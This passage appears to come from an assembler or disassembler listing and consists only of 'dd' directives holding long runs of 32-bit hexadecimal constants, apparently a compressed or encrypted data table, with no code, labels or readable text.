25332AD5h, 7CEB4B1Dh, 0DBB02BA2h, 147A570Eh dd 0FDF1802Bh, 0B9F410C1h, 4C3C4D2Ch, 82F75E8Bh, 64DA4E9Fh dd 26358186h, 3578C542h, 62A18C33h, 6FFE3E25h, 999EDAF9h dd 7EF0CD77h, 48227770h, 0BB774AE7h, 0F757B933h, 72AC8739h dd 66B59456h, 25A7A4AFh, 237743B5h, 0EF39750Ch, 995B1647h dd 0AE5FD842h, 63DC789Dh, 38A23D6Eh, 4833A227h, 0E9D995AFh dd 0BB5579B3h, 91D0FAC6h, 0C82C6CD7h, 18D1278Dh, 3D9A007Eh dd 959A28FFh, 0C4717649h, 0D0226CA1h, 0FAB87FD6h, 57D9E7D9h dd 86660938h, 0AEA6DC9Eh, 84282067h, 0A3537ACEh, 0FDD79EB6h dd 5C1B8502h, 0F4F01443h, 75024D8Fh, 656CB326h, 0A3CEA334h dd 789095E4h, 4621EA00h, 1778E4DBh, 817ACEBCh, 2B56E692h dd 264F7CD6h, 4B4CCF95h, 0BFC0A4D3h, 481AD178h, 0C25870C7h dd 2C05D2h, 2A4AE0FEh, 0AD357D58h, 0AA5BE322h, 0E4BB4FCFh dd 860ADCEEh, 0ABCA1857h, 886BE416h, 736A27F4h, 4996F7A3h dd 0ED93888Dh, 533AC523h, 81A6F610h, 8C2A50E0h, 29A409B8h dd 0D3CB774Fh, 410B5D1Fh, 7E270D71h, 12C314A1h, 5D8A504Bh dd 0EA3F8C35h, 2B18E29h, 6EB47620h, 33786248h, 21210DD5h dd 15BB4002h, 9EF3DB3Ah, 92FDE8AFh, 0D688A32Fh, 0AA4831E3h dd 0C8A942BCh, 5946F204h, 327B6568h, 22132C12h, 0C42E5849h dd 0AF55BE97h, 0C7EC9EC1h, 0B7542164h, 18F27DEFh, 0CD2D8169h dd 4CAF3038h, 6C03E482h, 8B2C181Ch, 4510C032h, 94AB7248h dd 0D9372D7h, 9FD49A97h, 83217F45h, 0EF2BA76h, 9376AAD6h dd 0B1FECCB3h, 0D6BEF57Fh, 24E22DADh, 0E8BBD21Dh, 23A4DAFBh dd 0E2EBBE6Ah, 0B6DB88C3h, 9CB94AE4h, 0F546AB63h, 35942FF3h dd 0C92237BDh, 3B5552E1h, 4E084CDDh, 0E231CF98h, 11E74167h dd 91E2253Eh, 99C905BBh, 0BD880C46h, 9AC02A6Ah, 20E493E6h dd 79BC54EFh, 68E15093h, 29AF1822h, 0F864BE96h, 9F818B13h dd 45B6175Fh, 113152DEh, 1BD7FE3Ch, 0CB401726h, 9AD4EF07h dd 0DE708933h, 0ECBD2882h, 11EF8480h, 3913BB3Eh, 1B7AEB6Ah dd 0AF4F6685h, 83B81A57h, 0B7AD04AFh, 535FC5Fh, 0C9F7A471h dd 0F5AF113Ch, 20B727FCh, 0B83E253Bh, 7EBBAB04h, 5735AECh dd 0F447E8F8h, 5FD34EDCh, 9D4842CFh, 28ECE6B8h, 5C29553Fh dd 0B9C891FBh, 0D844E51Fh, 4336656Fh, 478C06F6h, 0B5790BCDh dd 237E45F7h, 0E22D1B09h, 47254751h, 94196EACh, 15D1DCE4h dd 0B0745554h, 570A0745h, 0FEF97041h, 7F17A5E5h, 8B31C6C8h dd 0BB12D9C4h, 587A5884h, 8FCFBE37h, 3ADE1AEh, 0FA8F1969h dd 0CF6910C9h, 87CBA054h, 0E762FAC3h, 40397B2Dh, 1E597537h dd 5BF9389h, 0DC23A97h, 0BE1FFABEh, 990F89AFh, 4727DF35h dd 20065A41h, 9D64D3C5h, 17EE812Bh, 7EBF5591h, 726F6057h dd 9F74F804h, 6BFEC8EAh, 0E007557h, 4A7970E9h, 1C801145h dd 93A99F93h, 0B532EF61h, 0E458613h, 297C5898h, 0AC2E72EBh dd 0C0AA24D6h, 0FC3C0782h, 613B05D2h, 403A0FA5h, 6F8F0DE9h dd 6FAE51D3h, 0D931BDDh, 58935328h, 3C7EF4C4h, 32545B2h dd 0BB29D139h, 3EE59F6Ah, 389A8521h, 9C2D1236h, 0FF4C8D21h dd 5561C6AAh, 3D692535h, 9AFF1EB9h, 0EBB424A8h, 173203D5h dd 8C530DA1h, 252EF92h, 126BD3BFh, 1AC14C0Fh, 692E98ACh dd 3D3BAD7Fh, 7F9D552Dh, 4DCF1B74h, 8D3A3D71h, 4A3C7979h dd 6AFEB39Fh, 39CF74FCh, 2DBAA7D0h, 337445FEh, 0F9028E4Fh dd 6A35B8B4h, 6BF1CAF1h, 4ADED814h, 2012174h, 0F2B7CD83h dd 0B04C454h, 1EA6C8FDh, 0C2680DEDh, 0DEA74097h, 8D0A8839h dd 49CEEE12h, 5A7538ABh, 591CC155h, 9A092526h, 0D37AB218h dd 4B1F07A9h, 0DB476A11h, 9736706h, 15B24F82h, 466FF424h dd 0D38353DBh, 0FC11D3A8h, 0F50697E3h, 1CADDDC6h, 0D9E6A351h dd 6915547Eh, 0AD79E7FCh, 99EDA85Bh, 0CF62763Eh, 208F1949h dd 1625EABFh, 0E2D946A0h, 0C113864h, 0CCD42237h, 0BBC21DF6h dd 0AC940260h, 0DF312EBBh, 705DD8D5h, 0EE5F2FC4h, 82A29D8Fh dd 0FBC688CAh, 823DD1D2h, 8C8DF333h, 52094653h, 0E775F2C6h dd 3071E886h, 771185D7h, 77371A18h, 0B81F4CF6h, 0E4399B11h dd 2375C93h, 8DA9CFD7h, 7556ADB6h, 0EF9FEAB6h, 0D6D69A93h dd 0E225A113h, 6283166Bh, 3C734E9Fh, 21F4158Dh, 0BB6C8EEDh dd 51AB2031h, 0B6AE2D37h, 8060DE2Eh, 0E29EA5BEh, 58ED8AB8h dd 0EFCE9406h, 0C6AB9A1Bh, 0C371C032h, 0D77D24A4h, 0B66A747Ch dd 0E283DA58h, 2172D57Eh, 0E002C847h, 966358D6h, 2444FB7Ah dd 0DEE0B975h, 0DD9E14Eh, 4E64B6CBh, 0E0EED583h, 0AA3B43DEh dd 7F1B1AAAh, 4F834BE1h, 0C62FD1ECh, 6C579711h, 7E21A975h dd 63BD8003h, 0BC6310C1h, 7B6F61F5h, 0AFD16327h, 59277B58h dd 231C9ED4h, 50C838AEh, 0F084BDCFh, 30D72CDCh, 905665B9h dd 0B583F8E7h, 44D42758h, 0B21A644Fh, 0D390353h, 659AFF8Eh dd 8DDF5F16h, 0E5BF1012h, 0F149BFDCh, 3747E3Bh, 1005637Bh dd 4943F535h, 0CF0FECDDh, 45527188h, 0A90B8E9Dh, 4655E350h dd 0D6D4AFEEh, 36B5205Bh dd 0E7AA2F41h, 95731092h, 1D6A7C19h, 0DF07C8A8h, 0E383041Dh dd 73987C13h, 81E2C367h, 671733FFh, 0F8AA48C0h, 55627E73h dd 4750F55Ah, 306C07DAh, 0D11A0C35h, 0A2CA8B48h, 0A3B848BCh dd 0FEA9841Ah, 7E75A1F6h, 0E293E3BDh, 0CFD5D19Ch, 9307E352h dd 948F7320h, 513D0E37h, 410558F0h, 0E9C2C037h, 42203C81h dd 2C1A7F3Eh, 0F3C4F04Bh, 0BD447487h, 0E12D4766h, 4D8D65C0h dd 8CDCD41Dh, 0F1CCD529h, 63CECA2Dh, 45B4B8DDh, 0B7E18D86h dd 1FA68B22h, 0B6C69B51h, 4346B72Dh, 11AF2113h, 69102FCCh dd 0A6C8D9E6h, 1CD8ADA7h, 4122470Ah, 0FE98690Ch, 0F1723B42h dd 6E7562CDh, 34B57681h, 3DAB794Ah, 727526Fh, 3CB43593h dd 4986A6A7h, 843F10BDh, 7C57EBFCh, 94FEB788h, 7A2A9F97h dd 0B0D46F37h, 0A4210BCh, 0EABA47E9h, 664B715Bh, 21B5EE37h dd 0BB888035h, 0CEADB017h, 0A782D0BFh, 0B9875282h, 2E833575h dd 61556C2Ah, 25BEAD27h, 0F2BC77DAh, 0C8936620h, 0CEB23B82h dd 1C6F02F7h, 9E6C69D0h, 7A6DD967h, 0DEA6B59Ah, 3AEAB801h dd 745D772Dh, 0A575FD70h, 9D676BFDh, 8970DB72h, 0F6B416D8h dd 9B0843F7h, 32619B9Ch, 4961B07h, 0DD69C66Bh, 0AAEEEF72h dd 0B8FC2704h, 0BCA9812Ch, 0BD7AC7F9h, 2FB2E85Bh, 33ADA942h dd 58E3DA8Dh, 9365969h, 2F0673ACh, 646DD0B7h, 0B9986425h dd 0B0154793h, 0A75B4A4Bh, 21F8A579h, 1BEA2EDBh, 0B622A754h dd 22002BA9h, 3106D6E3h, 3D97B037h, 80D1CB7Dh, 927BE85Dh dd 40C58BCCh, 8F84252h, 99B4E5C4h, 5C385F17h, 0C33EF677h dd 0A6D188A8h, 3AC3BA7Fh, 0D2BB6ADFh, 3095A158h, 0A588671h dd 0F08F724Ch, 997589F2h, 2B7D0B6Ah, 0FC315426h, 54F28702h dd 7C79333h, 0C8CFFA56h, 2AD53FF9h, 8DCBD85Eh, 8963351Ch dd 0E950737h, 1079831Fh, 800F4134h, 6694A479h, 66FF0DDDh dd 1CE28868h, 0CD8728A7h, 5A967998h, 6283CE89h, 0DE4133B2h dd 0D8D0CCD2h, 1E31ED85h, 7D85D68Eh, 3A04BC5Ah, 0D1BD893Eh dd 13A001DFh, 1137E5F4h, 0C9974DAFh, 9994F0ABh, 0CFF6E9CDh dd 65F2A323h, 52D38A0Eh, 42C659C3h, 0BCCCF98Bh, 0CA5043A4h dd 0B8596B68h, 19BDB92Ch, 0C1720082h, 8C1465Ch, 4C4898BBh dd 0A94A1FB6h, 0B82A28D8h, 880C4137h, 55A1941Fh, 8107F3B7h dd 924CFD6Eh, 0A04AFEF5h, 855AB701h, 0B071B076h, 2EE32770h dd 0EBCF1164h, 0CA8235D8h, 2D8D62D4h, 8085F283h, 0F77D4E35h dd 6DACD17Ah, 9A905C4Ah, 0BE2C0BFAh, 0A62DE496h, 71F5E834h dd 7462050Ah, 93FE5C4Dh, 36EE12C5h, 4C95E886h, 8E21766h dd 99612BFAh, 0D3F18B2Bh, 0A8AC1B37h, 67C9BFEFh, 2709A66h dd 8992C241h, 8A6BF80h, 0EAEE0A34h, 54616B86h, 36970BF2h dd 40A22174h, 408D9411h, 9745A376h, 2068591Ah, 0A13B7B68h dd 45A3390Dh, 976AB3E7h, 327826E4h, 0E712CFDEh, 0C367AA8Fh dd 7E2ECD9Bh, 1356187Bh, 0A9195B81h, 0EA6BD9Ch, 1FC28A8Bh dd 0DFF6A437h, 0D59A9099h, 3390E655h, 7F2CEC4Dh, 32E8870h dd 0DD008568h, 5E399E8Ah, 47A93C1h, 49AF2572h, 0E43C1B87h dd 0FD64FE12h, 25AA0D56h, 20F24464h, 0FBD17553h, 0BA2ADCA1h dd 0D23294D8h, 8AC916F9h, 8AC39CE7h, 54FEB441h, 4FD16DA8h dd 107E4FF9h, 0CAD934D7h, 0CB57C611h, 79917D02h, 0D570071Bh dd 0EE267CBCh, 0E8E402A6h, 83255977h, 5725C471h, 19685041h dd 7768D8B3h, 8AE55CF2h, 0AC0B253Bh, 0A5796856h, 0BE07B986h dd 51696D91h, 1B6F7CA7h, 72BB1E5h, 9927B777h, 0BD4E11D4h dd 3BBDCB79h, 9076FDC2h, 0A8AAFAD9h, 0A99B88B0h, 3917B239h dd 658E9BFh, 62297051h, 0D23EF2D1h, 0B288AD7h, 9EBE36BCh dd 0D4617AA4h, 248618Eh, 0A783A7BCh, 0E96354F3h, 0B7E6C3C7h dd 4142B700h, 0AD3F392Bh, 9A0060C5h, 0A4DAF24Fh, 7EE75310h dd 0E739763Ah, 0FB74BEB3h, 0A9EAC616h, 9AD9D170h, 3187B406h dd 0DF464012h, 8E8D26F4h, 80FD087Ah, 43BA3A32h, 263138BFh dd 0CFE0FA96h, 24239BCh, 1BAB6FB9h, 386FAF82h, 303DAD2Dh dd 0D261D8ACh, 9AFB919Ah, 4C704E3Fh, 5CA531F5h, 56191057h dd 6BBEF132h, 88608012h, 0F2D2B440h, 52B16E56h, 686A4452h dd 5D2281AFh, 0FF92415Bh, 4BC69FEBh, 0CB7AEE8Eh, 4646D9D8h dd 1A057DC9h, 12563942h, 0A76CF5B8h, 5D07A24Fh, 2609B334h dd 0BF6398E9h, 63222747h, 94000F4h, 9A26DEA1h, 5D144B76h dd 0CA1DB1A7h, 0A1C39692h, 0E1387376h, 0C3F6E3D4h, 2E7893C9h dd 9FDD9536h, 2F5FD7CDh, 0A1CE6E79h, 3099779Fh, 3CA7D1C6h dd 7EEB24F0h, 903F9750h, 0C168CF18h, 0E226D54h, 0F48EEFBBh dd 0FF8D776Ch, 878A073h, 0C4AE0F1Fh, 9E6D218Ah, 2329DFD7h dd 7411E1C3h, 11D6AC25h, 2650262h, 9BD60A0h, 0D02D7442h dd 5D751817h, 738B18BEh, 48CA304Bh, 0DDFAA7B4h, 4270C0FFh dd 108E5Fh, 6473A88Eh, 0A57BC721h, 22ED7200h, 5A334099h dd 850BA12Ch, 0B5917FC6h, 58E97115h, 6494015h, 6CB0AB00h dd 7739C149h, 0C35F226Dh, 0FE12C306h, 0EDAC25F1h, 5970657Dh dd 611535CEh, 918C529Eh, 0A38830DFh, 676E1589h, 0BA9C85DAh dd 8D17957Dh, 22C302E7h, 0CD785E6Dh, 6978930Eh, 445828D3h dd 3866014Ah, 3A34B1D5h, 0E814104Eh, 0DCBC71ABh, 83719D7Ch dd 29979A6h, 46E83868h, 16EBB103h, 6DB57A20h, 319A5DD2h dd 65C674Dh, 0ADA3658Bh, 3AC3E578h, 0FBB3AED1h, 39F3A57h dd 0B655474Dh, 65A3BF31h, 9DCC2384h, 883813B6h, 96E617DFh dd 0A5D753DBh, 0A95B5FB4h, 394BDC31h, 0D74B06E6h, 0AD6B5CF3h dd 0A07F83ACh, 0AD399865h, 5D5A764Ah, 6CD3C478h, 6C46A566h dd 0D8FE5B8Bh, 9C1A4C95h, 0C073764h, 18452AC6h, 0D2B7E767h dd 0D394BE6Fh, 8C96222Dh, 3DB336Fh, 0B6D1E784h, 83C0A0FFh dd 0D1741922h, 22DF525Bh, 0E16D7FF5h, 0F0B69AE0h, 499BBA19h dd 60AF3C9h, 0CE6B8D11h, 0DDCC1A1Eh, 4D093F3Eh, 19645931h dd 0FEAADD3Dh, 0F8E7833Ah, 36FA81CEh, 475392C5h, 0B175CCCFh dd 3DC14FF1h, 0F0BC3FDCh, 93F4BCE8h, 0B4072A8h, 35D63657h dd 6672D962h, 76BE3D39h, 778C88B7h, 30C9EFF7h, 9D5DF332h dd 89915EDBh, 65078C95h, 0E984D53Eh, 5F1B60DBh, 3C72F3FCh dd 2A41E17Ah, 9DFC7E24h, 678E2EE2h, 0A55B8BB4h, 0CE3D041Ch dd 94111788h, 0A21D29B4h, 4B3D9B8Ah, 6A70FE47h, 0A804B55Eh dd 11ECBBC5h, 9034CF32h, 0A4BA87B6h, 0E1A7CD50h, 0F088C9A5h dd 48EC3915h, 1494CC74h, 955E0Bh, 6CDCC247h, 0AFDD7EDEh dd 920349B6h, 3AD74FF5h, 0A8DDBC0Eh, 0D5F49996h, 7E746BACh dd 2906D64Eh, 86CBAF80h, 0CE02221h, 0C33456D8h, 0B8ED827Bh dd 3D9035BEh, 2DC65C36h, 5709C862h, 0D89E1455h, 0D86E32A1h dd 0B74B7267h, 8A92FE58h, 0A2E20008h, 86BAE984h, 2FBA099h dd 7156E0A1h, 98F2E83h, 4FD733E4h, 5E19D5AFh, 0A6DECD3Dh dd 0EAFADCBCh, 61DFD56Fh, 0D3C2C106h, 0F611F84Dh, 1B3BBCFh dd 0FAAAEBEDh, 0F472CFF4h, 273915F6h, 0EE3F475Ah, 0C86FFC55h dd 0D6A97F39h, 0E9D33217h, 0E60ECAA3h, 7153B715h, 7D0FEC46h dd 0D0279E1h, 375DBBBBh, 7B851D85h, 618D7049h, 421CA8CFh dd 0CF4E578h, 7C7D401Bh, 0B05C4841h, 57BB4085h, 5353343Ah dd 36BDBADDh, 0AC12AC98h, 509EB22Fh, 10D644B9h, 8BEA0783h dd 1C0D4BBBh, 9615FB8Dh, 9E1DFB82h, 0E2169431h, 550FFB22h dd 4CCD7124h, 0B83188ACh dd 5C6BFACBh, 0D2D13689h, 4A7FDAF8h, 0AB3D73B1h, 0D4DA3AF9h dd 84C41D83h, 0A7EA1B62h, 7BFEDD1Dh, 3FF206F2h, 0D87F3109h dd 0A38BB9ACh, 7AA0AF5Fh, 4D5DB25Eh, 28D725ECh, 105D4ACBh dd 9A032749h, 155D6D28h, 8B8F5F0Eh, 8E157E73h, 696C132Ah dd 0CB8A7485h, 0D56612E4h, 9DBFE3CBh, 1D8DF32h, 0BFC953D9h dd 50A12C6Fh, 68B8A090h, 0D4662508h, 0BCC5EEE3h, 2FA2FF3Bh dd 402C37FDh, 73DA9D61h, 5F2D0C68h, 69FC1467h, 1D345945h dd 0CDAE2DFBh, 0B5227EC2h, 77B4818Bh, 8E9BC691h, 0A97BBE97h dd 0CD8C4B22h, 0C5AA1E17h, 72CCF378h, 8523082Ch, 0A994AE93h dd 6E1042A0h, 5B1DB898h, 3CA41324h, 8BA0DB7Dh, 50A509F1h dd 0DA9C80DBh, 0AA19E60Dh, 52B1181Fh, 74CD73A3h, 427E7230h dd 0B69EE0C7h, 807C255Ch, 46247ED0h, 0E301DFBBh, 9FC191D2h dd 0A3BEE726h, 8CC9AE22h, 2B97FC95h, 0F6E846BBh, 0B3085CD2h dd 519EA478h, 92EB5EBEh, 0C478CEFDh, 0EE91C576h, 2438D775h dd 7B81C9CAh, 0D323028Bh, 1A3F8965h, 3ADE6E38h, 2B273582h dd 0E761C103h, 5485D494h, 0C0D1E670h, 9A7AC155h, 5106803Ah dd 6C4DC64Fh, 0D0595AC2h, 0A64AA135h, 44E9FCF0h, 7DFB2B8Ah dd 10A348D7h, 0B3A6F54h, 345DB9DCh, 0E4AC8663h, 0B0A3CE24h dd 0FD46B380h, 0AD6EFCCBh, 887DD0E7h, 8B56C78Ch, 1277EBCDh dd 15CF4B67h, 2948860Fh, 2305B355h, 70E439AEh, 5163D53Ah dd 0A687CBD0h, 1E173285h, 98D74CFBh, 839882B8h, 3069062h dd 4094509Dh, 918C51B3h, 9226F492h, 653D73CDh, 611FD0B3h dd 0B58D25CBh, 47342674h, 0B26428AEh, 0E6BE8A0Fh, 20CFC1C3h dd 6388886Eh, 21DE527h, 0CFF16CC3h, 0CBFA6413h, 0DD91BE11h dd 68855FC2h, 72FD251Fh, 1E5EEA44h, 471A7EEDh, 5A3B57E9h dd 0D6E2B6F9h, 0B823A8CBh, 4BF9735Dh, 278556B4h, 1941178Bh dd 60910F9Bh, 371BA7FBh, 247070ABh, 0BBAC4712h, 0EB8C5475h dd 0F73A81A8h, 0BC7ED1F3h, 0DE40E9F0h, 0DBE837C6h, 23F3DC9Ah dd 7F10E160h, 0F35BA66Ch, 7E943EFBh, 9FC82F90h, 5A36F8C8h dd 9F1E36h, 9E7CD99Dh, 0E1794C9Ah, 0C54FC42Fh, 757FB32Eh dd 0A9A6920Bh, 0D52D36CEh, 9E759355h, 6BEB7EB6h, 3C8C2D53h dd 83BEEF25h, 0FD823B19h, 0E1E2FF28h, 70D7F6B7h, 2A8799FBh dd 4EE2717Eh, 54C7573Ch, 927A56C0h, 0B5D53A29h, 9644025Bh dd 0DB2F0E2Dh, 3443AC28h, 0AE243C57h, 0C90A340Fh, 513657BFh dd 40D7968Fh, 79F48C1Ch, 0A78D7AC6h, 6E3865A4h, 518FA81Eh dd 0C3D6D85Bh, 8935DAB1h, 0B4750582h, 9B6845EFh, 4E36C55Ch dd 788D30CEh, 8CA38C80h, 0F87EC005h, 198389A2h, 0F8D414C0h dd 0D73A6515h, 2ADFB3E0h, 5ECFA7C9h, 9B39011Dh, 0B1F79362h dd 0AB03C469h, 0E2BB136Eh, 0FB77125Fh, 0E2197A9h, 0BEE34A42h dd 0AC8A68FCh, 4DB9A8BAh, 0E787599Dh, 3665C55Fh, 0DF33110Bh dd 0FA773224h, 32FF72D4h, 0BF4E8AB4h, 49A342EBh, 0ABBE4453h dd 0D2CDC0F5h, 0C0C0DD67h, 4FA79284h, 33344E48h, 2A89544Ch dd 0B2A99AAh, 0BCFC6866h, 8589F55h, 0D2C993EAh, 89D8E1h dd 0A41052Bh, 3EBACC6Eh, 0BC9D9191h, 60DC25FDh, 0C38F9746h dd 0CB4CD9D3h, 0ED001CF5h, 0F2E1767Fh, 0E9549C63h, 930097EAh dd 0D16D7A83h, 0C3E4CDCEh, 66CA91B8h, 0F4184AE0h, 0AB22BF43h dd 788A1992h, 4267E5F7h, 0AD4221A2h, 30E87468h, 41798AA4h dd 0A62107EBh, 0E36EE78h, 0F5ED6CB7h, 81FC00ACh, 64861C38h dd 0A97135B0h, 94714AA1h, 549F00DCh, 23DEEACh, 0A9C9CAB3h dd 3505B35Eh, 3D119C02h, 0C4E0F261h, 7C1E7A83h, 0B85DD841h dd 11940373h, 0B1365E7Eh, 58247BB8h, 790745A4h, 1150976Ah dd 5DE43430h, 4BAE733Ah, 0BDBE756Bh, 0D8225094h, 0E5F67D7Dh dd 8A091785h, 0CD7124C2h, 11CFC822h, 1B5809DBh, 0D82CBF7Fh dd 0FA5A8B52h, 0C0B108DDh, 43CFBBAh, 0B770DF3h, 658E2700h dd 351E2C36h, 3C1350B6h, 0DB6B6677h, 0C64CDEA2h, 726DB482h dd 0F70692E0h, 5E521B3Bh, 0C516AC21h, 0DBB5FF79h, 0DCED97ABh dd 45A5489Ah, 5455B2B9h, 0AE71BD5Fh, 33BCB270h, 0EE1CD90Ah dd 0B306C087h, 365B4CF8h, 0B144122Eh, 0BD5B6344h, 0CBADE028h dd 0A41C43C1h, 7D93C398h, 2CF340A2h, 302D820Eh, 0BD1B0605h dd 40B31044h, 1015B8D1h, 5C7D89E9h, 0EBF902CCh, 61C37791h dd 0A8B0D89Fh, 3CD4FF91h, 6490D91Bh, 16170FB8h, 3214F0Fh dd 0B38B54C7h, 0C7216E37h, 0D20EE429h, 0EF875B7Bh, 3CB30EF1h dd 0D0A17B40h, 0A799AA1Eh, 0D50E6E20h, 0B907B8D3h, 0E87D8FE9h dd 3086BCFCh, 99923151h, 55E52FBFh, 76D0FCD7h, 7A8C8FEAh dd 0AB23F000h, 0A13856FFh, 53EAE520h, 1C37629Dh, 0B70F2B29h dd 5F598856h, 70B2ABE9h, 738F00B8h, 73814AEBh, 52CBB39Ch dd 0EE499747h, 0BADABCBh, 0B1368559h, 4D34AFBAh, 2A7433D9h dd 0B94B60B3h, 93EFBDDDh, 0BA9D2AF1h, 0E2A58250h, 7D51B9F9h dd 0DD829803h, 8EA16E6Ah, 8838754Ch, 96A58AE3h, 0EAE3F40h dd 0C646A884h, 6ED0C14Ch, 9CB5A4AFh, 88ED9C04h, 874E99EBh dd 94E776EEh, 5067FF89h, 5DC933BCh, 73C72900h, 543BC2D6h dd 5DCE63D2h, 0A0AF0B28h, 548D22FDh, 6A0A8B6Eh, 832BDDCAh dd 74EF06B1h, 49795520h, 4141580Bh, 0FA8FEE56h, 1B19CAD0h dd 87EF56F4h, 1498F259h, 0A0556F2Ch, 0AED3AF5h, 5F79A688h dd 6F41D159h, 34CA708Ah, 118D73BAh, 74C100BBh, 0BB9BDE9Ah dd 3983BB39h, 97FE6867h, 66126563h, 573B44h, 5BCF62h, 96C0B312h dd 25B0B034h, 0AE2CA7C8h, 54BBD7E0h, 0E7BB9D17h, 76D5D637h dd 0B2BA644Eh, 828B9D51h, 0B5DF6CFAh, 0E5199661h, 95BB00BBh dd 337E8840h, 0BE87E3Dh, 7663F940h, 0C44C9D4Eh, 46E7549h dd 0AC7AD2E6h, 0DA0D1F0Bh, 3874AE3Dh, 7B558754h, 0BEDB71EEh dd 0EF16C163h, 65ECB0ACh, 0A2956E7Ch, 0D74647B4h, 1B4E0608h dd 0EB30FF22h, 0ADE046D4h, 0C141E060h, 0D0AD11CBh, 91A4E24Bh dd 7327D7D2h, 37F65A09h, 854EEEB0h, 0DB66D175h, 1F159DDh dd 0F79D2039h, 5F3F491Ch, 0A2B7E1DCh, 8D7E67Dh, 89104669h dd 5137D97Ah, 0A5FFF8D6h, 0C17A238Ch, 0CB3CC54Dh, 8B8ECF3Dh dd 465A4F2Eh, 0ABD84C0Eh, 783BE8EDh, 99921710h, 1FAAA1CDh dd 9D017B63h, 0BF36EEB3h, 0AD965A27h, 3BFC7EABh, 627ACF6Fh dd 375A43F6h, 52E3BBF8h, 0B865963Ah, 3AF0B24Eh, 2B656FC5h dd 0B5E2CDEDh, 78DE79E9h, 7D720013h, 89FCDA9Ch, 8290C438h dd 0E063C1B1h, 2B160C8Ah, 0DDFC8DE2h, 0E68C78EAh, 34CA97BEh dd 0CAD56BBAh, 5CA058D4h, 0C091990Ah, 0E8B6B824h, 0F21207Fh dd 8B9B4ACBh, 844F00C5h, 6FBBC578h, 83AF1A94h, 480B5622h dd 0F90366D5h, 7A67FE52h, 6182A123h, 0BDE55F5Ah, 59BF86CFh dd 1AC8CAF9h, 7F34554Ch, 88D8857Fh, 0B1B1A461h, 49FFC365h dd 8A6D3BD1h, 48BE926h, 966E578Fh, 2BDC4E6Ch, 0D55858D6h dd 27D97F4Bh, 816AD6CEh, 224067C3h, 0F75A71B7h, 4F4A9C4Dh dd 52F3C74h, 0F59F1E7Bh, 47785F09h, 0CE6301C7h, 0CF803C5Eh dd 0D202D0E0h, 0F8FB4FA0h, 0CAC0814Ch, 0DE5A4C8Eh, 0F1A801F1h dd 93E4DF04h, 9D1C7D80h, 0FE82C9D2h, 0B60C0242h, 9E3CF30Ah dd 0C8CA48D9h, 61644278h, 0E109F131h, 41F958A5h, 1B1FFFE2h dd 73F8A518h, 0BE289622h, 0E1448F33h, 0F28996EDh, 8949D64h dd 0E43282D7h, 4D1D6F04h, 0AFD62361h, 77C31B49h, 0E34C8C83h dd 90D76AFAh dd 96387648h, 0CDC0C006h, 9EF5EC1Fh, 0ED663715h, 0EC99985Bh dd 0AAFB1576h, 0DEE056E6h, 530E387Ch, 0F530B3C7h, 60793AC3h dd 4463DB61h, 0F92A54BCh, 0E95D4E9Bh, 4BEEA79Ah, 0AD5BC71Fh dd 2BED1EF8h, 791D6F39h, 0A675F541h, 0F299A11Bh, 12F8F4Dh dd 2D9BAADAh, 0D2B9F553h, 0A731BA5Ah, 9114B169h, 0F0D5CF02h dd 732F9A92h, 870A093h, 0BEE2AD3Dh, 54D53911h, 7A6F8C31h dd 5FA08E17h, 0B14F52FFh, 0A27020B7h, 0EF9791AEh, 9AD3171Dh dd 7869357Ah, 74FFBCC1h, 0C5C770Dh, 4F8B2F11h, 0A53A3928h dd 0AD9DA5E0h, 0BBA8186Eh, 0C53BBBF6h, 42985A11h, 0F8EAB7ABh dd 5247DB4Eh, 25C840E2h, 81A4483h, 779AE8C7h, 5EDF6672h dd 0C4AC71ECh, 5D00688Ah, 844588C1h, 31D66B29h, 0E486F22Dh dd 92D17B08h, 0F3B24FB6h, 3F3AB0D4h, 12EDD97Fh, 41E06D35h dd 0EEA6ABh, 0A8F0AF7h, 92D6D07Fh, 0F2E93673h, 0B7C57B5Ah dd 557F3158h, 56DF8E4Bh, 5C41639h, 0C2824CBEh, 46759691h dd 0F7C87059h, 0CB25EA90h, 0E41D8E33h, 8339F07Dh, 471BBBADh dd 0B09CAD6Ah, 0D97758EFh, 6A77A2ADh, 0B5E02AD6h, 0B3F0F6FCh dd 0BDBF087Eh, 0F8730530h, 0A414B166h, 0F7CCEAB7h, 280DD8D7h dd 39E322A8h, 5B1E1479h, 7EC56F7Ah, 0ED1748DDh, 0C936E695h dd 129D8A2Ah, 6F162B96h, 52078624h, 771229D5h, 0DF69DBA6h dd 0F413754h, 50959B47h, 7FC26EB5h, 1E1D0B7h, 0D19C0284h dd 667C3768h, 0D274304Fh, 0A279B7F8h, 1CEDA50Bh, 2AA9AAC3h dd 0A7E4FF77h, 0A8CF4Dh, 243AD8E6h, 0C2A473FDh, 0F1EB4D73h dd 4CAFD543h, 66BB568Eh, 4BAA756Eh, 936936AFh, 472ADE26h dd 10173375h, 0F3E96669h, 0D10605D6h, 0BFEBB928h, 2732D63Dh dd 0E51DB3C2h, 4718CA9Ch, 0D113FB8Ch, 0B999F32Bh, 11D394E6h dd 74F45B35h, 0E1C88B51h, 918972C3h, 17D98698h, 0DF7B9CCh dd 7EDC5032h, 9D7A696Bh, 0C4838952h, 26FC1CEBh, 86E6D2A4h dd 0C9E5FA1Dh, 40B9AA8Dh, 0FFEDFAA4h, 50BC4256h, 0FFE95EDFh dd 12A7710h, 0D8A15F11h, 0EF5B900Eh, 24CE5B29h, 0AA4F7C09h dd 535CC5EFh, 7C614DE5h, 0D962F4C8h, 51656D2Bh, 2A506CACh dd 0A95675FDh, 2CE4B215h, 91413AD2h, 4C0B51D6h, 0EF8A4C49h dd 0CC525B1Dh, 0A9ECFF02h, 709C0C7Ah, 725335D0h, 0B4EB277Ah dd 0CD8B296Eh, 0AB0E072Ah, 51A0FEDEh, 93E04C1h, 4C16A05Ch dd 6C93FCBCh, 2C03C150h, 0AA3A0478h, 65E29634h, 7431F478h dd 1E2D40DAh, 99D72039h, 6795DF84h, 2C20D805h, 9A488C3Fh dd 0FF6DC84Ch, 297C688Ch, 84B0D4ADh, 85D5691Fh, 0D1534777h dd 65420C5Ah, 0C44E8D1h, 0F3034205h, 0E039030Ah, 2AD49537h dd 6CF1C99Bh, 0BB44281Ch, 6DFB4712h, 0AA4DE5C8h, 0A20D6801h dd 9A6F6627h, 41C040Ch, 0AE50B3Ah, 0A651D86Ch, 0DD6CD092h dd 0D42DA408h, 0DC7DF41Ah, 0ED3ACB1h, 0F5D81193h, 73D35636h dd 9F311710h, 0FC7CA157h, 5FE81025h, 88F47018h, 0AE0A39E8h dd 37237037h, 1B34A502h, 0E08B2A57h, 77DBCA71h, 37407A2Dh dd 0DB090259h, 6CFAAC8Bh, 